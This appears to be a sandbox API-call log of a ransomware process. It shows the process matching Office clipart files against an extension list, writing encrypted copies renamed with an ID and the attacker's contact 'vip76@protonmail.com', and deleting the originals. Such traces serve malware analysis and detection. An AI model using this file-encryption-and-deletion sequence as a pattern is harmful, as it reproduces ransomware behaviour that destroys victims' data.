	[0084.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0084.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0084.325] lstrlenW (lpString=".doc") returned 4
	[0084.325] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.325] lstrlenW (lpString=".docx") returned 5
	[0084.325] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.325] lstrlenW (lpString=".pdf") returned 4
	[0084.325] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.325] lstrlenW (lpString=".xls") returned 4
	[0084.325] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.325] lstrlenW (lpString=".xlsx") returned 5
	[0084.325] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.325] lstrlenW (lpString=".ppt") returned 4
	[0084.325] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0084.325] lstrlenW (lpString=".zip") returned 4
	[0084.325] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.325] lstrlenW (lpString=".rar") returned 4
	[0084.325] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.325] lstrlenW (lpString=".bz2") returned 4
	[0084.325] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.325] lstrlenW (lpString=".7z") returned 3
	[0084.325] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0084.325] lstrlenW (lpString=".dbf") returned 4
	[0084.325] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0084.325] lstrlenW (lpString=".1cd") returned 4
	[0084.326] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0084.326] lstrlenW (lpString=".jpg") returned 4
	[0084.326] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.326] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0084.326] lstrlenW (lpString="DD01163_.WMF") returned 12
	[0084.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0084.326] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=2300) returned 1
	[0084.326] CloseHandle (hObject=0x384) returned 1
	[0084.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf")) returned 0x220
	[0084.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0084.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0084.326] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.327] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0084.327] GetLastError () returned 0x0
	[0084.327] ReadFile (in: hFile=0x384, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x8fc, lpOverlapped=0x0) returned 1
	[0084.886] WriteFile (in: hFile=0x37c, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x900, lpOverlapped=0x0) returned 1
	[0084.891] ReadFile (in: hFile=0x384, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.891] WriteFile (in: hFile=0x37c, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.891] SetEndOfFile (hFile=0x37c) returned 1
	[0084.891] CloseHandle (hObject=0x37c) returned 1
	[0084.891] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.891] SetEndOfFile (hFile=0x384) returned 1
	[0084.892] CloseHandle (hObject=0x384) returned 1
	[0084.892] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0084.892] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf")) returned 1
	[0084.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0084.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0084.893] lstrlenW (lpString=".doc") returned 4
	[0084.893] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.893] lstrlenW (lpString=".docx") returned 5
	[0084.893] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.893] lstrlenW (lpString=".pdf") returned 4
	[0084.893] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.893] lstrlenW (lpString=".xls") returned 4
	[0084.893] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.893] lstrlenW (lpString=".xlsx") returned 5
	[0084.893] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.893] lstrlenW (lpString=".ppt") returned 4
	[0084.893] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0084.893] lstrlenW (lpString=".zip") returned 4
	[0084.893] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.893] lstrlenW (lpString=".rar") returned 4
	[0084.893] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.893] lstrlenW (lpString=".bz2") returned 4
	[0084.893] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.893] lstrlenW (lpString=".7z") returned 3
	[0084.893] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0084.893] lstrlenW (lpString=".dbf") returned 4
	[0084.893] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0084.893] lstrlenW (lpString=".1cd") returned 4
	[0084.893] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0084.893] lstrlenW (lpString=".jpg") returned 4
	[0084.894] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0084.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0084.894] lstrlenW (lpString=".doc") returned 4
	[0084.894] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.894] lstrlenW (lpString=".docx") returned 5
	[0084.894] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.894] lstrlenW (lpString=".pdf") returned 4
	[0084.894] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.894] lstrlenW (lpString=".xls") returned 4
	[0084.894] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.894] lstrlenW (lpString=".xlsx") returned 5
	[0084.894] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.894] lstrlenW (lpString=".ppt") returned 4
	[0084.894] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0084.894] lstrlenW (lpString=".zip") returned 4
	[0084.894] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.894] lstrlenW (lpString=".rar") returned 4
	[0084.894] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.894] lstrlenW (lpString=".bz2") returned 4
	[0084.894] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.894] lstrlenW (lpString=".7z") returned 3
	[0084.894] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0084.894] lstrlenW (lpString=".dbf") returned 4
	[0084.894] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0084.894] lstrlenW (lpString=".1cd") returned 4
	[0084.894] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0084.895] lstrlenW (lpString=".jpg") returned 4
	[0084.895] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.895] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0084.895] lstrlenW (lpString="DD01182_.WMF") returned 12
	[0084.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0084.895] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=2996) returned 1
	[0084.895] CloseHandle (hObject=0x384) returned 1
	[0084.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf")) returned 0x220
	[0084.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0084.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0084.896] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.896] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0084.896] GetLastError () returned 0x0
	[0084.896] ReadFile (in: hFile=0x384, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0xbb4, lpOverlapped=0x0) returned 1
	[0084.898] WriteFile (in: hFile=0x37c, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xbc0, lpOverlapped=0x0) returned 1
	[0084.899] ReadFile (in: hFile=0x384, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.899] WriteFile (in: hFile=0x37c, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.899] SetEndOfFile (hFile=0x37c) returned 1
	[0084.899] CloseHandle (hObject=0x37c) returned 1
	[0084.899] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.899] SetEndOfFile (hFile=0x384) returned 1
	[0084.900] CloseHandle (hObject=0x384) returned 1
	[0084.900] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0084.900] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf")) returned 1
	[0084.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0084.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0084.900] lstrlenW (lpString=".doc") returned 4
	[0084.900] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.900] lstrlenW (lpString=".docx") returned 5
	[0084.900] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.900] lstrlenW (lpString=".pdf") returned 4
	[0084.900] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.900] lstrlenW (lpString=".xls") returned 4
	[0084.900] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.901] lstrlenW (lpString=".xlsx") returned 5
	[0084.901] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.901] lstrlenW (lpString=".ppt") returned 4
	[0084.901] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0084.901] lstrlenW (lpString=".zip") returned 4
	[0084.901] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.901] lstrlenW (lpString=".rar") returned 4
	[0084.901] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.901] lstrlenW (lpString=".bz2") returned 4
	[0084.901] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.901] lstrlenW (lpString=".7z") returned 3
	[0084.901] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0084.901] lstrlenW (lpString=".dbf") returned 4
	[0084.901] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0084.901] lstrlenW (lpString=".1cd") returned 4
	[0084.901] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0084.901] lstrlenW (lpString=".jpg") returned 4
	[0084.901] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0084.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0084.901] lstrlenW (lpString=".doc") returned 4
	[0084.901] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.901] lstrlenW (lpString=".docx") returned 5
	[0084.901] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.901] lstrlenW (lpString=".pdf") returned 4
	[0084.901] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.902] lstrlenW (lpString=".xls") returned 4
	[0084.902] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.902] lstrlenW (lpString=".xlsx") returned 5
	[0084.902] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.902] lstrlenW (lpString=".ppt") returned 4
	[0084.902] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0084.902] lstrlenW (lpString=".zip") returned 4
	[0084.902] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.902] lstrlenW (lpString=".rar") returned 4
	[0084.902] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.902] lstrlenW (lpString=".bz2") returned 4
	[0084.902] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.902] lstrlenW (lpString=".7z") returned 3
	[0084.902] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0084.902] lstrlenW (lpString=".dbf") returned 4
	[0084.902] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0084.902] lstrlenW (lpString=".1cd") returned 4
	[0084.902] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68
	[0084.902] lstrlenW (lpString=".jpg") returned 4
	[0084.902] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.902] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0084.902] lstrlenW (lpString="DD01183_.WMF") returned 12
	[0084.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0084.903] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=2296) returned 1
	[0084.903] CloseHandle (hObject=0x384) returned 1
	[0084.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf")) returned 0x220
	[0084.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0084.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0084.903] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.903] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0084.904] GetLastError () returned 0x0
	[0084.904] ReadFile (in: hFile=0x384, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x8f8, lpOverlapped=0x0) returned 1
	[0084.905] WriteFile (in: hFile=0x37c, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x900, lpOverlapped=0x0) returned 1
	[0084.906] ReadFile (in: hFile=0x384, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.906] WriteFile (in: hFile=0x37c, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.906] SetEndOfFile (hFile=0x37c) returned 1
	[0084.906] CloseHandle (hObject=0x37c) returned 1
	[0084.906] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.906] SetEndOfFile (hFile=0x384) returned 1
	[0084.907] CloseHandle (hObject=0x384) returned 1
	[0084.908] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0084.908] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf")) returned 1
	[0084.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0084.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0084.908] lstrlenW (lpString=".doc") returned 4
	[0084.908] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.908] lstrlenW (lpString=".docx") returned 5
	[0084.908] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.908] lstrlenW (lpString=".pdf") returned 4
	[0084.908] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.908] lstrlenW (lpString=".xls") returned 4
	[0084.908] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.908] lstrlenW (lpString=".xlsx") returned 5
	[0084.908] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.908] lstrlenW (lpString=".ppt") returned 4
	[0084.908] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0084.908] lstrlenW (lpString=".zip") returned 4
	[0084.908] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.909] lstrlenW (lpString=".rar") returned 4
	[0084.909] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.909] lstrlenW (lpString=".bz2") returned 4
	[0084.909] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.909] lstrlenW (lpString=".7z") returned 3
	[0084.909] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0084.909] lstrlenW (lpString=".dbf") returned 4
	[0084.909] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0084.909] lstrlenW (lpString=".1cd") returned 4
	[0084.909] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
	[0084.909] lstrlenW (lpString=".jpg") returned 4
	[0084.909] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68
